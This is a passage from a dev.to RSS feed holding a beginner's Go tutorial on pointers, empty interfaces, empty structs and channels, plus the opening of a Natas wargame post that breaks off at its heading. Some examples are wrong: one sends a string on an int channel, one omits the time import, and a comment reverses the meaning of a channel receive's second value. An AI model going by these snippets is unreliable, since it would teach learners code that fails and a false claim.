&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Protocol&lt;/th&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;FTP&lt;/td&gt;
&lt;td&gt;20/21&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Telnet&lt;/td&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SMTP&lt;/td&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.vox.com/2014/6/16/18076282/the-internet"&gt;The Internet Explained&lt;/a&gt;&lt;br&gt;
&lt;a href="https://web.stanford.edu/class/msande91si/www-spr04/readings/week1/InternetWhitepaper.htm"&gt;How Does the Internet Work?&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>beginners</category>
      <category>internet</category>
      <category>discuss</category>
    </item>
    <item>
      <title>The Most Difficult Syntax in Go for a Programming Newbie</title>
      <dc:creator>Yulin</dc:creator>
      <pubDate>Mon, 23 May 2022 10:06:57 +0000</pubDate>
      <link>https://dev.to/yulin/the-most-difficult-syntax-in-go-for-a-programming-newbie-5cn4</link>
      <guid>https://dev.to/yulin/the-most-difficult-syntax-in-go-for-a-programming-newbie-5cn4</guid>
      <description>&lt;p&gt;This is a soft introduction to Go for those who have never coded in a typed language before. Go is a simple language and exposes some syntax like pointers which are hidden in other higher level languages. You might have heard of concurrency and channels in passing and you will come across these concepts in Go. There are also some interesting types in Go which can improve code performance if used in right places, i.e. empty interface and struct.&lt;/p&gt;

&lt;p&gt;Quick Links:&lt;br&gt;
Pointers&lt;br&gt;
Empty Interface&lt;br&gt;
Empty Struct&lt;br&gt;
Concurrency&lt;/p&gt;


&lt;h2&gt;
  
  
  Pointers
&lt;/h2&gt;

&lt;p&gt;Variables are passed as arguments into a function by their &lt;em&gt;values&lt;/em&gt; in Go, meaning that the variable themselves are not modified by the function. A new copy of the variables are created and stored in separate memory spaces the moment they are passed as arguments. To actually change the variables through the operations in the function, we must pass the variables by pointers by adding a ampersand in front of the variables.&lt;/p&gt;

&lt;p&gt;Let's see some examples to illustrate the concept&lt;/p&gt;
&lt;h3&gt;
  
  
  Pass by values
&lt;/h3&gt;

&lt;p&gt;Run the following code, you'll find the variable remain unchanged&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="s"&gt;"fmt"&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;changeNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="m"&gt;40&lt;/span&gt;
    &lt;span class="n"&gt;changeNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Pass by pointers
&lt;/h3&gt;

&lt;p&gt;Notice the two symbols used here:&lt;br&gt;
&lt;code&gt;*&lt;/code&gt; applied on a pointer denotes the underlying value of the pointer, which allows us to change the original value the pointer stored.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;*&lt;/code&gt; applied to a Go type, denotes a pointer of that type.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&amp;amp;&lt;/code&gt; applied on a variable generates a pointer of that variable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="s"&gt;"fmt"&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;changeNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt; &lt;span class="c"&gt;//pass pointer type *int, which is a pointer to the type int&lt;/span&gt;
        &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt; &lt;span class="c"&gt;// set number through the pointer&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="m"&gt;40&lt;/span&gt;
    &lt;span class="n"&gt;changeNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c"&gt;//pointer to variable i&lt;/span&gt;
    &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Empty Interface
&lt;/h2&gt;

&lt;p&gt;An object is of a certain interface type if it implements all of the methods detailed in the interface. An empty interface is an interface that specifies zero methods. Therefore any type implements the zero method empty interface.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="n"&gt;empty&lt;/span&gt; &lt;span class="k"&gt;interface&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt; &lt;span class="c"&gt;// named empty interface&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;empty&lt;/span&gt; &lt;span class="k"&gt;interface&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt; &lt;span class="c"&gt;// anonymous empty interface&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is useful where a function does not know the type of the input parameters, for example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="s"&gt;"fmt"&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;printAnything&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;something&lt;/span&gt; &lt;span class="k"&gt;interface&lt;/span&gt;&lt;span class="p"&gt;{}){&lt;/span&gt; 
        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%v is of type %T&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;something&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;something&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c"&gt;// declare variable "anything" to be an empty interface type&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;anything&lt;/span&gt; &lt;span class="k"&gt;interface&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt; 
    &lt;span class="c"&gt;// assign 1 to the variable, which is of type int&lt;/span&gt;
    &lt;span class="n"&gt;anything&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
    &lt;span class="n"&gt;printAnything&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;anything&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c"&gt;// reassign the variable with a different type, allowed because "anything" implements the empty interface&lt;/span&gt;
    &lt;span class="n"&gt;anything&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"word"&lt;/span&gt;
    &lt;span class="n"&gt;printAnything&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;anything&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Empty Struct
&lt;/h2&gt;

&lt;p&gt;A struct in Go is a way to construct an object, a struct contains named fields each has a name and a type.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="n"&gt;empty&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt; &lt;span class="c"&gt;// named empty struct&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;empty&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt; &lt;span class="c"&gt;// anonymous empty struct&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An empty struct is special in rust because it has no memory cost:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unsafe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="c"&gt;//size 0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This makes an empty struct a perfect option for maps that checks the existence of an element or filter through an duplicated array, or make a synchronisation channel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="s"&gt;"fmt"&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c"&gt;// an array of duplicated integers&lt;/span&gt;
    &lt;span class="n"&gt;nums&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="c"&gt;// map to stored unique integers from the array&lt;/span&gt;
    &lt;span class="n"&gt;checkNumExist&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="nb"&gt;make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;{})&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="k"&gt;range&lt;/span&gt; &lt;span class="n"&gt;nums&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;checkNumExist&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;{}{}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="k"&gt;range&lt;/span&gt; &lt;span class="n"&gt;checkNumExist&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exist&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;checkNumExist&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="n"&gt;exist&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"num %d exists!"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Concurrency
&lt;/h2&gt;

&lt;p&gt;Normally you would expect your code to execute from top to bottom in the exact order you've written it. Concurrency when the code execution is out of order, multiple computations happening at the same time to get a faster result. If the number of tasks is more than the number of processors available, &lt;strong&gt;time slicing&lt;/strong&gt; is a technique used by the processors to simulate concurrency by switching between tasks. A common concurrency related problem is &lt;strong&gt;race condition&lt;/strong&gt;, whereby the relative timing of the concurrent modules can return an inconsistent result if you were running the program non-concurrently. They are hard to debug because the reproducibility of the same outcome is hard.&lt;/p&gt;

&lt;p&gt;In terms of communication, there are two models for concurrent programming:&lt;/p&gt;

&lt;h3&gt;
  
  
  Shared Memory
&lt;/h3&gt;

&lt;p&gt;Concurrent modules have the same access to the same object. &lt;/p&gt;

&lt;h3&gt;
  
  
  Message Passing
&lt;/h3&gt;

&lt;p&gt;Concurrent modules communicate through channels, sending and receiving messages from and to channels.&lt;/p&gt;

&lt;h4&gt;
  
  
  Make Channels
&lt;/h4&gt;

&lt;p&gt;In Go, the syntax for making channels:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;ch1&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="nb"&gt;make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;chan&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c"&gt;//unbuffered channel, takes one message&lt;/span&gt;
&lt;span class="n"&gt;ch2&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="nb"&gt;make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;chan&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c"&gt;//buffered channel, takes multiple messages&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sending to an unbuffered channel will be blocked until the message has been received. Sending to a buffered channel on the other hand is a non-blocking operation as long as the channel hasn't used up its full capacity.&lt;/p&gt;

&lt;p&gt;Write a message to a channel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;ch1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Receive/read a message from a channel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="n"&gt;ch1&lt;/span&gt;
&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;closed&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="n"&gt;ch1&lt;/span&gt; &lt;span class="c"&gt;// closed is true if channel closed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Open a thread
&lt;/h4&gt;

&lt;p&gt;To run a function in a separate thread, add the keyword "go" before you call the function. All goroutines share the same memory space, to avoid race conditions make sure you &lt;strong&gt;synchronise&lt;/strong&gt; memory access e.g. by using "sync" package.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="s"&gt;"fmt"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
&lt;span class="c"&gt;// make an int type channel&lt;/span&gt;
&lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="nb"&gt;make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;chan&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;// anonymous goroutine&lt;/span&gt;
&lt;span class="k"&gt;go&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
    &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c"&gt;// print the received&lt;/span&gt;
&lt;span class="p"&gt;}()&lt;/span&gt;

&lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="s"&gt;"Hello World!"&lt;/span&gt; &lt;span class="c"&gt;//send to channel&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a simple example on a goroutine, pay attention to the order of the goroutine, it comes before the send. This is because for an unbuffered channel, communications are sync, use buffered channels for async.&lt;/p&gt;

&lt;p&gt;Here's another example on coordinating goroutines, taken from riptutorial:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="nb"&gt;make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;chan&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;{})&lt;/span&gt;
    &lt;span class="k"&gt;go&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c"&gt;// Wait for main thread's signal to begin step one&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;

        &lt;span class="c"&gt;// Perform work&lt;/span&gt;
        &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Second&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="c"&gt;// Signal to main thread that step one has completed&lt;/span&gt;
        &lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;{}{}&lt;/span&gt;

        &lt;span class="c"&gt;// Wait for main thread's signal to begin step two&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;

        &lt;span class="c"&gt;// Perform work&lt;/span&gt;
        &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Second&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="c"&gt;// Signal to main thread that work has completed&lt;/span&gt;
        &lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;{}{}&lt;/span&gt;
    &lt;span class="p"&gt;}()&lt;/span&gt;

    &lt;span class="c"&gt;// Notify goroutine that step one can begin&lt;/span&gt;
    &lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;{}{}&lt;/span&gt;

    &lt;span class="c"&gt;// Wait for notification from goroutine that step one has completed&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;

    &lt;span class="c"&gt;// Perform some work before we notify&lt;/span&gt;
    &lt;span class="c"&gt;// the goroutine that step two can begin&lt;/span&gt;
    &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Second&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c"&gt;// Notify goroutine that step two can begin&lt;/span&gt;
    &lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;{}{}&lt;/span&gt;

    &lt;span class="c"&gt;// Wait for notification from goroutine that step two has completed&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Side Notes on Go Map
&lt;/h2&gt;

&lt;p&gt;The Go's implementation of a map is a hashmap. A hashmap uses a hash function that takes a key and returns a deterministic value derived from the key. Each item in the hashmap gets an unique index, so called a hash. The hashmap data structure is an array of buckets, each contains a pointer/unique index to an array of key-value pairs. The map methods are converted to calls to the runtime during code compilation. To read more about Go maps &lt;a href="https://dave.cheney.net/2018/05/29/how-the-go-runtime-implements-maps-efficiently-without-generics"&gt;click here&lt;/a&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Useful resources &amp;amp; References
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://go.dev/tour/welcome/1"&gt;Tour of Go&lt;/a&gt;&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=etSN4X_fCnM&amp;amp;list=PL4cUxeGkcC9gC88BEo9czgyS72A3doDeM"&gt;Net Ninja Youtube playlist&lt;/a&gt;&lt;br&gt;
&lt;a href="https://web.mit.edu/6.005/www/fa14/classes/17-concurrency/"&gt;Concurrency - MIT&lt;/a&gt;&lt;br&gt;
&lt;a href="https://riptutorial.com/go/example/9050/coordinating-goroutines"&gt;Concurrency - RIP tutorial&lt;/a&gt;&lt;/p&gt;

</description>
      <category>go</category>
      <category>beginners</category>
      <category>discuss</category>
      <category>webdev</category>
    </item>
    <item>
      <title>OverTheWire Natas Levels 0-11 Thinking Out Loud</title>
      <dc:creator>Yulin</dc:creator>
      <pubDate>Fri, 29 Apr 2022 08:52:16 +0000</pubDate>
      <link>https://dev.to/yulin/overthewire-natas-levels-0-34-thinking-out-loud-part-1-1424</link>
      <guid>https://dev.to/yulin/overthewire-natas-levels-0-34-thinking-out-loud-part-1-1424</guid>
      <description>&lt;h1&gt;
  
  
  Table of Contents
